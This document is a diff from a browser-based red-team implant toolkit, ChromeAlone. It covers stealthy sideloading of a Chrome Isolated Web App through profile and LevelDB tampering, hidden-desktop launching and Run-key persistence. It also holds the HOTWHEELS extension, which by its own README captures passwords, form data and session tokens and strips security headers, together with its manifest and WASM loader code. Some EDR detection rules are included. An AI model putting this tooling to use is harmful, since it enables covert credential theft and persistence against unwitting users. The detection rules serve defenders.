by editing the `Local State` JSON file in `<CHROME PROFILE>\User Data\Local State`. We can set a handful of properties which make sure Chrome will silently launch properly:
|
||||
|
||||
```powershell
|
||||
$jsonContent.browser = @{
|
||||
default_browser_infobar_declined_count = 1
|
||||
default_browser_infobar_last_declined_time = $currentTimeMs
|
||||
enabled_labs_experiments = @(
|
||||
"enable-isolated-web-app-dev-mode@1"
|
||||
"enable-isolated-web-apps@1"
|
||||
)
|
||||
first_run_finished = $true
|
||||
}
|
||||
```
|
||||
|
||||
Unfortunately, even though we set several UI properties, the user will still be warned every time that the
|
||||
application launches. Additionally - if Chrome has already been launched and we try to launch with these flags,
|
||||
it will have no effect unless the entire app is restarted. Because of this, it actually is easier for us to create a separate user profile entirely on disk and work from there. By using the `--user-data-dir` flag, we can force Chrome to create a parallel user profile that won't affect the main Chrome installation on disk. It's very common to create new user profiles as well so even though this creates a TON of files on disk, it's still safe against inspection. The full code for this process can be found in `initializeIWAChrome.ps1`.
|
||||
|
||||
So we create our evil parallel user profile, modify it to enable IWAs, and then we can move onto actually sideloading. Note that the following steps will describe the literal code to invoke the relevant behavior - their implementation details can be found within the codebase for those who are curious.
|
||||
|
||||
**Step 2: Web Bundle Analysis**
|
||||
```python
|
||||
# Parses signed web bundle to extract cryptographic information
|
||||
bundle_info = parse_signed_web_bundle_header(bundle_path)
|
||||
public_key = bundle_info['public_key']
|
||||
signature = bundle_info['signature']
|
||||
```
|
||||
|
||||
**Step 3: Application ID Generation**
|
||||
```python
|
||||
# Creates Chrome-compatible app ID from public key
|
||||
web_bundle_id = create_web_bundle_id_from_public_key(public_key)
|
||||
app_id = get_chrome_app_id(public_key)
|
||||
origin = f"isolated-app://{web_bundle_id}"
|
||||
```
|
||||
|
||||
**Step 4: Protobuf Record Creation**
|
||||
The system creates protobuf records containing:
|
||||
- Application metadata (name, version, origin)
|
||||
- Installation timestamp and source
|
||||
- Cryptographic signatures and public keys
|
||||
- Permission grants and isolation settings
|
||||
|
||||
For this project a base protobuf built on a legitimate application has been extracted and stored as
|
||||
`app.pb`. The python code in `protobufUpdater.py` opens this file, then makes all the appropriate
|
||||
changes based on our generated signed web bundle to make sure that loading proceeds as desired.
|
||||
|
||||
**Step 5: LevelDB Injection**
|
||||
```python
|
||||
# Directly writes protobuf data to Chrome's LevelDB
|
||||
db_key = generate_leveldb_key(app_id)
|
||||
protobuf_data = serialize_app_metadata(app_info)
|
||||
leveldb_write(db_path, db_key, protobuf_data)
|
||||
```
|
||||
|
||||
**Step 6: Opening the Application Stealthily**
|
||||
|
||||
Chrome Isolated Web Apps are run from the legacy Chrome Apps interface at `chrome://apps`. This normally
|
||||
requires the user to navigate to the page and click an icon which will launch the application in its own
|
||||
window. There are several problems here, for our purposes:
|
||||
|
||||
1. It requires user interaction
|
||||
2. It opens a visible window
|
||||
|
||||
Luckily for us, there is a flag built into chrome for launching Chrome Apps, `-app-id`. We run chrome (along with several other flags for performance) that help minimize its profile. Note that we also specify our `--user-data-dir` flag from step 1.
|
||||
|
||||
```
|
||||
"C:\Program Files\Google\Chrome\Application\chrome.exe" --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --disable-accelerated-layers --disable-accelerated-plugins --disable-accelerated-2d-canvas --disable-deadline-scheduling --disable-ui-deadline-scheduling --aura-no-shadows --user-data-dir="C:\Users\localuser\AppData\Local\com.chrome.alone" --profile-directory=Default --app-id=gckefbcfobglggkfpcigmmjaekledman
|
||||
```
|
||||
|
||||
This solves part of the issue, but we still get a visible window. This is where we rely on a tried and true red teaming tactic - [Hidden Desktop abuse](https://github.com/WKL-Sec/HiddenDesktop). Essentially we invoke specific Windows APIs to create a new Desktop handle which isn't shown to the user, then when we invoke process creation APIs, we pass in the alternate handle so the user isn't shown the window. This works perfectly for our purposes. The code we use for this can be seen in `startIWAApp.ps1`.
|
||||
|
||||
**Step 7: Add the application to run on startup**
|
||||
|
||||
Unlike Chrome extensions, which we can simply apply `background` permissions to in order to guarantee running on startup - there is no default mechanism to run Chrome Apps that will perform everything we need in step 6. This means that we need to add `startIWAApp.ps1` to our startup process. There are a myriad of ways to enable persistence, but for this release we have chosen to update the `Microsoft\Windows\CurrentVersion\Run` key to run our app.
|
||||
|
||||
## EDR Detection Signatures
|
||||
|
||||
### Runtime File System Activities
|
||||
|
||||
#### Chrome Preference File Tampering
|
||||
```yaml
|
||||
rule: DOORKNOB_Runtime_Preference_Manipulation
|
||||
events:
|
||||
- file_modification:
|
||||
file_path:
|
||||
- "*\\Google\\Chrome\\User Data\\Default\\Preferences"
|
||||
- "*\\Google\\Chrome\\User Data\\Default\\Secure Preferences"
|
||||
process_name_not:
|
||||
- chrome.exe
|
||||
- msedge.exe
|
||||
access_type: WRITE
|
||||
followed_by:
|
||||
- process_creation:
|
||||
process_name: chrome.exe
|
||||
within: 60s
|
||||
```
|
||||
|
||||
#### LevelDB Database Tampering
|
||||
```yaml
|
||||
rule: DOORKNOB_Runtime_LevelDB_Manipulation
|
||||
events:
|
||||
- file_access:
|
||||
file_path_contains:
|
||||
- "\\Chrome\\User Data\\Default\\Sync Data\\"
|
||||
- "\\LevelDB\\"
|
||||
file_extension:
|
||||
- ".ldb"
|
||||
- ".log"
|
||||
process_name_not: chrome.exe
|
||||
access_type: WRITE
|
||||
```
|
||||
+78
@@ -0,0 +1,78 @@
|
||||
FROM ubuntu:22.04
|
||||
|
||||
# Avoid prompts during package installation
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
# Install basic dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
wget \
|
||||
gnupg \
|
||||
software-properties-common \
|
||||
unzip \
|
||||
git \
|
||||
python3 \
|
||||
python3-pip \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install Node.js and npm
|
||||
RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash - \
|
||||
&& apt-get install -y nodejs \
|
||||
&& npm install -g npm@latest
|
||||
|
||||
# Install Go
|
||||
RUN GO_VERSION=1.21.5 && \
|
||||
curl -fsSL https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz -o go.tar.gz && \
|
||||
tar -C /usr/local -xzf go.tar.gz && \
|
||||
rm go.tar.gz
|
||||
|
||||
# Set Go environment variables
|
||||
ENV GOROOT=/usr/local/go
|
||||
ENV GOPATH=/go
|
||||
ENV PATH=$GOROOT/bin:$GOPATH/bin:$PATH
|
||||
|
||||
# Create Go workspace
|
||||
RUN mkdir -p $GOPATH/src $GOPATH/bin
|
||||
|
||||
# Verify Go installation
|
||||
RUN go version
|
||||
|
||||
# Install .NET SDK directly from Microsoft
|
||||
RUN mkdir -p /usr/share/dotnet && \
|
||||
curl -SL https://dotnet.microsoft.com/download/dotnet/scripts/v1/dotnet-install.sh -o dotnet-install.sh && \
|
||||
chmod +x dotnet-install.sh && \
|
||||
./dotnet-install.sh --channel 8.0 --install-dir /usr/share/dotnet && \
|
||||
ln -s /usr/share/dotnet/dotnet /usr/bin/dotnet && \
|
||||
rm dotnet-install.sh
|
||||
|
||||
# Verify .NET installation
|
||||
RUN dotnet --info
|
||||
|
||||
# Install AWS CLI
|
||||
RUN curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" \
|
||||
&& unzip awscliv2.zip \
|
||||
&& ./aws/install \
|
||||
&& rm -rf aws awscliv2.zip
|
||||
|
||||
# Install Terraform
|
||||
RUN wget -O- https://apt.releases.hashicorp.com/gpg | gpg --dearmor | tee /usr/share/keyrings/hashicorp-archive-keyring.gpg \
|
||||
&& echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | tee /etc/apt/sources.list.d/hashicorp.list \
|
||||
&& apt-get update && apt-get install -y terraform
|
||||
|
||||
# Create directory for AWS credentials
|
||||
RUN mkdir -p /root/.aws
|
||||
|
||||
# Copy the build script
|
||||
COPY build.sh /build.sh
|
||||
RUN chmod +x /build.sh
|
||||
|
||||
# Set environment variables for .NET
|
||||
ENV DOTNET_ROOT="/usr/share/dotnet"
|
||||
ENV PATH="${PATH}:/usr/share/dotnet"
|
||||
|
||||
# Set working directory
|
||||
WORKDIR /project
|
||||
|
||||
# Set the entrypoint to the build script
|
||||
ENTRYPOINT ["/build.sh"]
|
||||
CMD []
|
||||
@@ -0,0 +1,180 @@
|
||||
# HOTWHEELS - Browser Extension Agent Component
|
||||
|
||||
## Overview
|
||||
HOTWHEELS is the primary browser extension agent of ChromeAlone that executes on target systems. It combines a traditional Chrome extension architecture with WebAssembly (WASM) modules to provide advanced capabilities while evading detection. The extension serves as the main execution environment for ChromeAlone operations within the browser context.
|
||||
|
||||
## What is HOTWHEELS?
|
||||
|
||||
HOTWHEELS is a sophisticated browser extension that:
|
||||
1. **Maintains Persistent Execution** - Runs continuously in the browser background
|
||||
2. **Executes WASM Payloads** - Loads compiled Go code for advanced functionality
|
||||
3. **Monitors User Activity** - Captures form data, keystrokes, and authentication events
|
||||
|
||||
## Technical Deep Dive
|
||||
|
||||
### Chrome Extension Architecture
|
||||
|
||||
#### Understanding Chrome Extension Components
|
||||
|
||||
Modern Chrome extensions (Manifest V3) consist of several contexts:
|
||||
|
||||
**Service Worker (Background Script)**:
|
||||
- Persistent execution environment that survives tab closures
|
||||
- Handles extension lifecycle and inter-component communication
|
||||
- Has access to all Chrome APIs and can make network requests
|
||||
- Cannot directly access webpage DOM content
|
||||
|
||||
**Content Scripts**:
|
||||
- Execute in the context of web pages
|
||||
- Can access and modify webpage DOM
|
||||
- Run in isolated JavaScript worlds separate from page scripts
|
||||
- Limited Chrome API access for security
|
||||
|
||||
**Extension Manifest**:
|
||||
- Declares permissions, resources, and behavioral policies
|
||||
- Defines content script injection rules and execution timing
|
||||
- Specifies service worker and web-accessible resources
|
||||
|
||||
#### HOTWHEELS Extension Structure
|
||||
|
||||
**Manifest Configuration (`manifest.json`)**:
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "ChromeAlone",
|
||||
"permissions": [
|
||||
"activeTab", "background", "clipboardRead", "cookies",
|
||||
"declarativeNetRequest", "history", "nativeMessaging",
|
||||
"scripting", "tabs"
|
||||
],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"content_scripts": [
|
||||
{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["wasm/wasm_exec.js", "content.js"],
|
||||
"run_at": "document_end"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
**Permission Analysis**:
|
||||
- `<all_urls>` - Universal website access
|
||||
- `nativeMessaging` - Communication with native applications
|
||||
- `declarativeNetRequest` - Network request modification (mainly used by PAINTBUCKET)
|
||||
- `scripting` - Dynamic code injection capabilities
|
||||
- `clipboardRead` - Access to clipboard contents
|
||||
|
||||
### WebAssembly (WASM) Integration
|
||||
|
||||
#### Understanding WebAssembly in Browser Extensions
|
||||
|
||||
WebAssembly provides several advantages for malicious extensions:
|
||||
|
||||
**Performance Benefits**:
|
||||
- Near-native execution speed for computationally intensive tasks
|
||||
- Efficient binary format reduces payload size
|
||||
- Compiled code is harder to analyze than JavaScript
|
||||
|
||||
**Security Evasion**:
|
||||
- Binary format obscures functionality from static analysis
|
||||
- Traditional JavaScript-based security tools may not analyze WASM
|
||||
- Can implement complex algorithms that would be obvious in JavaScript
|
||||
|
||||
**Language Flexibility**:
|
||||
- Allows using languages like Go, Rust, or C++ in browser environment
|
||||
- Enables code reuse from existing native tools and libraries
|
||||
|
||||
#### HOTWHEELS WASM Architecture
|
||||
|
||||
**Background Script WASM Loading (`background.js`)**:
|
||||
```javascript
|
||||
async function Startup() {
|
||||
if (globalThis.started) return;
|
||||
globalThis.started = true;
|
||||
|
||||
const go = new Go(); // Go WASM runtime
|
||||
WebAssembly.instantiateStreaming(
|
||||
fetch('./wasm/background.wasm'),
|
||||
go.importObject
|
||||
).then(result => {
|
||||
go.run(result.instance); // Execute Go code
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
**Content Script WASM Loading (`content.js`)**:
|
||||
```javascript
|
||||
async function loadWASM() {
|
||||
const go = new Go();
|
||||
const wasmModule = await WebAssembly.instantiateStreaming(
|
||||
fetch(chrome.runtime.getURL('wasm/main.wasm')),
|
||||
go.importObject
|
||||
);
|
||||
go.run(wasmModule.instance);
|
||||
}
|
||||
```
|
||||
|
||||
**Dual WASM Architecture**:
|
||||
- `background.wasm` - Executes in service worker context with full extension privileges
|
||||
- `main.wasm` - Executes in content script context with DOM access
|
||||
- Each WASM module contains compiled Go code for specific functionality. Code for these capabilities can be found in the the `wasm` folder within this project.
|
||||
|
||||
### Go-Based WASM Implementation
|
||||
|
||||
#### Background Script Functionality (`wasm/background-script/`)
|
||||
|
||||
The background WASM module (`background.wasm`) handles:
|
||||
|
||||
**Network Security Bypass**:
|
||||
- Removes Content Security Policy headers via `declarativeNetRequest`
|
||||
- Disables X-Frame-Options and other security headers
|
||||
- Enables arbitrary code injection into protected websites
|
||||
|
||||
**Extension Lifecycle Management**:
|
||||
- Maintains persistent execution across browser restarts
|
||||
- Handles communication with the ChromeAlone Isolated Web Application (BLOWTORCH) which handles communications with the command & control server.
|
||||
- Coordinates with other ChromeAlone components
|
||||
|
||||
#### Content Script Functionality (`wasm/content-script/`)
|
||||
|
||||
The content WASM module (`main.wasm`) provides:
|
||||
|
||||
**Form Data Interception**:
|
||||
- Monitors all form submissions on visited websites
|
||||
- Captures usernames, passwords, and sensitive data
|
||||
- Tracks authentication flows and session tokens
|
||||
|
||||
**DOM Manipulation**:
|
||||
- Modifies webpage content in real-time
|
||||
- Injects malicious JavaScript into page execution context
|
||||
- Monitors user interactions and input events
|
||||
|
||||
### Persistence and Evasion Mechanisms
|
||||
|
||||
#### Service Worker Persistence
|
||||
|
||||
Chrome's Manifest V3 architecture uses service workers that can be terminated to save resources. In order to make sure that our background script runs forever, HOTWHEELS implements several persistence techniques:
|
||||
|
||||
**Keep-Alive Mechanism**:
|
||||
```javascript
|
||||
// Prevent service worker termination - this is a necessary hack or our worker will be suspended
|
||||
const keepAlive = () => setInterval(chrome.runtime.getPlatformInfo, 20e3);
|
||||
chrome.runtime.onStartup.addListener(keepAlive);
|
||||
keepAlive();
|
||||
```
|
||||
|
||||
**Multi-Trigger Startup**:
|
||||
```javascript
|
||||
// Handle various startup scenarios
|
||||
chrome.runtime.onInstalled.addListener(Startup);
|
||||
chrome.runtime.onStartup.addListener(Startup);
|
||||
setTimeout(Startup, 5000); // Fallback for race conditions
|
||||
```
|
||||
|
||||
#### Detection Evasion
|
||||
|
||||
**WASM Code Obscuration**:
|
||||
- Binary format makes reverse engineering difficult
|
||||
- Go compilation produces optimized machine code
|
||||
- Function names and debug symbols are stripped
|
||||
@@ -0,0 +1,42 @@
|
||||
try {
|
||||
importScripts('./wasm/wasm_exec.js')
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
}
|
||||
|
||||
globalThis.started = false;
|
||||
|
||||
async function Startup() {
|
||||
if (globalThis.started) {
|
||||
console.log("HOTWHEELS: ALREADY STARTED - SKIPPING STARTUP");
|
||||
return;
|
||||
}
|
||||
globalThis.started = true;
|
||||
|
||||
const go = new Go();
|
||||
WebAssembly.instantiateStreaming(fetch('./wasm/background.wasm'), go.importObject).then(result => {
|
||||
go.run(result.instance);
|
||||
});
|
||||
}
|
||||
|
||||
chrome.runtime.onInstalled.addListener(async function() {
|
||||
await Startup();
|
||||
});
|
||||
|
||||
chrome.runtime.onStartup.addListener(async function() {
|
||||
await Startup();
|
||||
});
|
||||
|
||||
console.log("HOTWHEELS: RUNNING BACKGROUND SCRIPT");
|
||||
|
||||
// On initial sideload there is a race condition where the chrome.runtime listeners don't run - this handles that case
|
||||
setTimeout(async () => {
|
||||
await Startup();
|
||||
console.log("HOTWHEELS: INVOKED DELAYED STARTUP");
|
||||
}, 5000);
|
||||
|
||||
// Hack to prevent the background script from being killed via
|
||||
// https://stackoverflow.com/questions/66618136/persistent-service-worker-in-chrome-extension
|
||||
const keepAlive = () => setInterval(chrome.runtime.getPlatformInfo, 20e3);
|
||||
chrome.runtime.onStartup.addListener(keepAlive);
|
||||
keepAlive();
|
||||
@@ -0,0 +1,34 @@
|
||||
(function() {
|
||||
'use strict';
|
||||
async function loadWASM() {
|
||||
try {
|
||||
const go = new Go();
|
||||
const wasmModule = await WebAssembly.instantiateStreaming(
|
||||
fetch(chrome.runtime.getURL('wasm/') + 'main.wasm'),
|
||||
go.importObject
|
||||
);
|
||||
go.run(wasmModule.instance);
|
||||
} catch (error) {
|
||||
console.error('Failed to load WASM module.');
|
||||
console.error('Full error details:', {
|
||||
name: error.name,
|
||||
message: error.message,
|
||||
stack: error.stack,
|
||||
toString: error.toString()
|
||||
});
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// Load WASM and provide user feedback
|
||||
loadWASM().then(success => {
|
||||
if (success) {
|
||||
console.log('Content Script loaded successfully');
|
||||
} else {
|
||||
console.warn('Content Script failed to load WASM - some features may not work');
|
||||
}
|
||||
}).catch(error => {
|
||||
console.error('WASM loading failed:', error);
|
||||
});
|
||||
})();
|
||||
@@ -0,0 +1,52 @@
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "ChromeAlone",
|
||||
"version": "1.0",
|
||||
"description": "",
|
||||
"permissions": [
|
||||
"activeTab",
|
||||
"background",
|
||||
"clipboardRead",
|
||||
"cookies",
|
||||
"declarativeNetRequest",
|
||||
"history",
|
||||
"nativeMessaging",
|
||||
"scripting",
|
||||
"tabs"
|
||||
],
|
||||
"host_permissions": [
|
||||
"<all_urls>"
|
||||
],
|
||||
"content_scripts": [
|
||||
{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["wasm/wasm_exec.js", "content.js"],
|
||||
"run_at": "document_end"
|
||||
},
|
||||
{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["maintoisolated.js"],
|
||||
"all_frames": true,
|
||||
"run_at": "document_start"
|
||||
},
|
||||
{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["inject.js"],
|
||||
"run_at": "document_start",
|
||||
"all_frames": true,
|
||||
"world": "MAIN"
|
||||
}
|
||||
],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"
|
||||
},
|
||||
"background": {
|
||||
"service_worker": "background.js"
|
||||
},
|
||||
"web_accessible_resources": [
|
||||
{
|
||||
"resources": ["wasm/main.wasm", "wasm/background.wasm"],
|
||||
"matches": ["<all_urls>"]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,561 @@
|
||||
// Copyright 2018 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
"use strict";
|
||||
|
||||
(() => {
|
||||
const enosys = () => {
|
||||
const err = new Error("not implemented");
|
||||
err.code = "ENOSYS";
|
||||
return err;
|
||||
};
|
||||
|
||||
if (!globalThis.fs) {
|
||||
let outputBuf = "";
|
||||
globalThis.fs = {
|
||||
constants: { O_WRONLY: -1, O_RDWR: -1, O_CREAT: -1, O_TRUNC: -1, O_APPEND: -1, O_EXCL: -1 }, // unused
|
||||
writeSync(fd, buf) {
|
||||
outputBuf += decoder.decode(buf);
|
||||
const nl = outputBuf.lastIndexOf("\n");
|
||||
if (nl != -1) {
|
||||
console.log(outputBuf.substring(0, nl));
|
||||
outputBuf = outputBuf.substring(nl + 1);
|
||||
}
|
||||
return buf.length;
|
||||
},
|
||||
write(fd, buf, offset, length, position, callback) {
|
||||
if (offset !== 0 || length !== buf.length || position !== null) {
|
||||
callback(enosys());
|
||||
return;
|
||||
}
|
||||
const n = this.writeSync(fd, buf);
|
||||
callback(null, n);
|
||||
},
|
||||
chmod(path, mode, callback) { callback(enosys()); },
|
||||
chown(path, uid, gid, callback) { callback(enosys()); },
|
||||
close(fd, callback) { callback(enosys()); },
|
||||
fchmod(fd, mode, callback) { callback(enosys()); },
|
||||
fchown(fd, uid, gid, callback) { callback(enosys()); },
|
||||
fstat(fd, callback) { callback(enosys()); },
|
||||
fsync(fd, callback) { callback(null); },
|
||||
ftruncate(fd, length, callback) { callback(enosys()); },
|
||||
lchown(path, uid, gid, callback) { callback(enosys()); },
|
||||
link(path, link, callback) { callback(enosys()); },
|
||||
lstat(path, callback) { callback(enosys()); },
|
||||
mkdir(path, perm, callback) { callback(enosys()); },
|
||||
open(path, flags, mode, callback) { callback(enosys()); },
|
||||
read(fd, buffer, offset, length, position, callback) { callback(enosys()); },
|
||||
readdir(path, callback) { callback(enosys()); },
|
||||
readlink(path, callback) { callback(enosys()); },
|
||||
rename(from, to, callback) { callback(enosys()); },
|
||||
rmdir(path, callback) { callback(enosys()); },
|
||||
stat(path, callback) { callback(enosys()); },
|
||||
symlink(path, link, callback) { callback(enosys()); },
|
||||
truncate(path, length, callback) { callback(enosys()); },
|
||||
unlink(path, callback) { callback(enosys()); },
|
||||
utimes(path, atime, mtime, callback) { callback(enosys()); },
|
||||
};
|
||||
}
|
||||
|
||||
if (!globalThis.process) {
|
||||
globalThis.process = {
|
||||
getuid() { return -1; },
|
||||
getgid() { return -1; },
|
||||
geteuid() { return -1; },
|
||||
getegid() { return -1; },
|
||||
getgroups() { throw enosys(); },
|
||||
pid: -1,
|
||||
ppid: -1,
|
||||
umask() { throw enosys(); },
|
||||
cwd() { throw enosys(); },
|
||||
chdir() { throw enosys(); },
|
||||
}
|
||||
}
|
||||
|
||||
if (!globalThis.crypto) {
|
||||
throw new Error("globalThis.crypto is not available, polyfill required (crypto.getRandomValues only)");
|
||||
}
|
||||
|
||||
if (!globalThis.performance) {
|
||||
throw new Error("globalThis.performance is not available, polyfill required (performance.now only)");
|
||||
}
|
||||
|
||||
if (!globalThis.TextEncoder) {
|
||||
throw new Error("globalThis.TextEncoder is not available, polyfill required");
|
||||
}
|
||||
|
||||
if (!globalThis.TextDecoder) {
|
||||
throw new Error("globalThis.TextDecoder is not available, polyfill required");
|
||||
}
|
||||
|
||||
const encoder = new TextEncoder("utf-8");
|
||||
const decoder = new TextDecoder("utf-8");
|
||||
|
||||
globalThis.Go = class {
|
||||
constructor() {
|
||||
this.argv = ["js"];
|
||||
this.env = {};
|
||||
this.exit = (code) => {
|
||||
if (code !== 0) {
|
||||
console.warn("exit code:", code);
|
||||
}
|
||||
};
|
||||
this._exitPromise = new Promise((resolve) => {
|
||||
this._resolveExitPromise = resolve;
|
||||
});
|
||||
this._pendingEvent = null;
|
||||
this._scheduledTimeouts = new Map();
|
||||
this._nextCallbackTimeoutID = 1;
|
||||
|
||||
const setInt64 = (addr, v) => {
|
||||
this.mem.setUint32(addr + 0, v, true);
|
||||
this.mem.setUint32(addr + 4, Math.floor(v / 4294967296), true);
|
||||
}
|
||||
|
||||
const setInt32 = (addr, v) => {
|
||||
this.mem.setUint32(addr + 0, v, true);
|
||||
}
|
||||
|
||||
const getInt64 = (addr) => {
|
||||
const low = this.mem.getUint32(addr + 0, true);
|
||||
const high = this.mem.getInt32(addr + 4, true);
|
||||
return low + high * 4294967296;
|
||||
}
|
||||
|
||||
const loadValue = (addr) => {
|
||||
const f = this.mem.getFloat64(addr, true);
|
||||
if (f === 0) {
|
||||
return undefined;
|
||||
}
|
||||
if (!isNaN(f)) {
|
||||
return f;
|
||||
}
|
||||
|
||||
const id = this.mem.getUint32(addr, true);
|
||||
return this._values[id];
|
||||
}
|
||||
|
||||
const storeValue = (addr, v) => {
|
||||
const nanHead = 0x7FF80000;
|
||||
|
||||
if (typeof v === "number" && v !== 0) {
|
||||
if (isNaN(v)) {
|
||||
this.mem.setUint32(addr + 4, nanHead, true);
|
||||
this.mem.setUint32(addr, 0, true);
|
||||
return;
|
||||
}
|
||||
this.mem.setFloat64(addr, v, true);
|
||||
return;
|
||||
}
|
||||
|
||||
if (v === undefined) {
|
||||
this.mem.setFloat64(addr, 0, true);
|
||||
return;
|
||||
}
|
||||
|
||||
let id = this._ids.get(v);
|
||||
if (id === undefined) {
|
||||
id = this._idPool.pop();
|
||||
if (id === undefined) {
|
||||
id = this._values.length;
|
||||
}
|
||||
this._values[id] = v;
|
||||
this._goRefCounts[id] = 0;
|
||||
this._ids.set(v, id);
|
||||
}
|
||||
this._goRefCounts[id]++;
|
||||
let typeFlag = 0;
|
||||
switch (typeof v) {
|
||||
case "object":
|
||||
if (v !== null) {
|
||||
typeFlag = 1;
|
||||
}
|
||||
break;
|
||||
case "string":
|
||||
typeFlag = 2;
|
||||
break;
|
||||
case "symbol":
|
||||
typeFlag = 3;
|
||||
break;
|
||||
case "function":
|
||||
typeFlag = 4;
|
||||
break;
|
||||
}
|
||||
this.mem.setUint32(addr + 4, nanHead | typeFlag, true);
|
||||
this.mem.setUint32(addr, id, true);
|
||||
}
|
||||
|
||||
const loadSlice = (addr) => {
|
||||
const array = getInt64(addr + 0);
|
||||
const len = getInt64(addr + 8);
|
||||
return new Uint8Array(this._inst.exports.mem.buffer, array, len);
|
||||
}
|
||||
|
||||
const loadSliceOfValues = (addr) => {
|
||||
const array = getInt64(addr + 0);
|
||||
const len = getInt64(addr + 8);
|
||||
const a = new Array(len);
|
||||
for (let i = 0; i < len; i++) {
|
||||
a[i] = loadValue(array + i * 8);
|
||||
}
|
||||
return a;
|
||||
}
|
||||
|
||||
const loadString = (addr) => {
|
||||
const saddr = getInt64(addr + 0);
|
||||
const len = getInt64(addr + 8);
|
||||
return decoder.decode(new DataView(this._inst.exports.mem.buffer, saddr, len));
|
||||
}
|
||||
|
||||
const timeOrigin = Date.now() - performance.now();
|
||||
this.importObject = {
|
||||
_gotest: {
|
||||
add: (a, b) => a + b,
|
||||
},
|
||||
gojs: {
|
||||
// Go's SP does not change as long as no Go code is running. Some operations (e.g. calls, getters and setters)
|
||||
// may synchronously trigger a Go event handler. This makes Go code get executed in the middle of the imported
|
||||
// function. A goroutine can switch to a new stack if the current stack is too small (see morestack function).
|
||||
// This changes the SP, thus we have to update the SP used by the imported function.
|
||||
|
||||
// func wasmExit(code int32)
|
||||
"runtime.wasmExit": (sp) => {
|
||||
sp >>>= 0;
|
||||
const code = this.mem.getInt32(sp + 8, true);
|
||||
this.exited = true;
|
||||
delete this._inst;
|
||||
delete this._values;
|
||||
delete this._goRefCounts;
|
||||
delete this._ids;
|
||||
delete this._idPool;
|
||||
this.exit(code);
|
||||
},
|
||||
|
||||
// func wasmWrite(fd uintptr, p unsafe.Pointer, n int32)
|
||||
"runtime.wasmWrite": (sp) => {
|
||||
sp >>>= 0;
|
||||
const fd = getInt64(sp + 8);
|
||||
const p = getInt64(sp + 16);
|
||||
const n = this.mem.getInt32(sp + 24, true);
|
||||
fs.writeSync(fd, new Uint8Array(this._inst.exports.mem.buffer, p, n));
|
||||
},
|
||||
|
||||
// func resetMemoryDataView()
|
||||
"runtime.resetMemoryDataView": (sp) => {
|
||||
sp >>>= 0;
|
||||
this.mem = new DataView(this._inst.exports.mem.buffer);
|
||||
},
|
||||
|
||||
// func nanotime1() int64
|
||||
"runtime.nanotime1": (sp) => {
|
||||
sp >>>= 0;
|
||||
setInt64(sp + 8, (timeOrigin + performance.now()) * 1000000);
|
||||
},
|
||||
|
||||
// func walltime() (sec int64, nsec int32)
|
||||
"runtime.walltime": (sp) => {
|
||||
sp >>>= 0;
|
||||
const msec = (new Date).getTime();
|
||||
setInt64(sp + 8, msec / 1000);
|
||||
this.mem.setInt32(sp + 16, (msec % 1000) * 1000000, true);
|
||||
},
|
||||
|
||||
// func scheduleTimeoutEvent(delay int64) int32
|
||||
"runtime.scheduleTimeoutEvent": (sp) => {
|
||||
sp >>>= 0;
|
||||
const id = this._nextCallbackTimeoutID;
|
||||
this._nextCallbackTimeoutID++;
|
||||
this._scheduledTimeouts.set(id, setTimeout(
|
||||
() => {
|
||||
this._resume();
|
||||
while (this._scheduledTimeouts.has(id)) {
|
||||
// for some reason Go failed to register the timeout event, log and try again
|
||||
// (temporary workaround for https://github.com/golang/go/issues/28975)
|
||||
console.warn("scheduleTimeoutEvent: missed timeout event");
|
||||
this._resume();
|
||||
}
|
||||
},
|
||||
getInt64(sp + 8),
|
||||
));
|
||||
this.mem.setInt32(sp + 16, id, true);
|
||||
},
|
||||
|
||||
// func clearTimeoutEvent(id int32)
|
||||
"runtime.clearTimeoutEvent": (sp) => {
|
||||
sp >>>= 0;
|
||||
const id = this.mem.getInt32(sp + 8, true);
|
||||
clearTimeout(this._scheduledTimeouts.get(id));
|
||||
this._scheduledTimeouts.delete(id);
|
||||
},
|
||||
|
||||
// func getRandomData(r []byte)
|
||||
"runtime.getRandomData": (sp) => {
|
||||
sp >>>= 0;
|
||||
crypto.getRandomValues(loadSlice(sp + 8));
|
||||
},
|
||||
|
||||
// func finalizeRef(v ref)
|
||||
"syscall/js.finalizeRef": (sp) => {
|
||||
sp >>>= 0;
|
||||
const id = this.mem.getUint32(sp + 8, true);
|
||||
this._goRefCounts[id]--;
|
||||
if (this._goRefCounts[id] === 0) {
|
||||
const v = this._values[id];
|
||||
this._values[id] = null;
|
||||
this._ids.delete(v);
|
||||
this._idPool.push(id);
|
||||
}
|
||||
},
|
||||
|
||||
// func stringVal(value string) ref
|
||||
"syscall/js.stringVal": (sp) => {
|
||||
sp >>>= 0;
|
||||
storeValue(sp + 24, loadString(sp + 8));
|
||||
},
|
||||
|
||||
// func valueGet(v ref, p string) ref
|
||||
"syscall/js.valueGet": (sp) => {
|
||||
sp >>>= 0;
|
||||
const result = Reflect.get(loadValue(sp + 8), loadString(sp + 16));
|
||||
sp = this._inst.exports.getsp() >>> 0; // see comment above
|
||||
storeValue(sp + 32, result);
|
||||
},
|
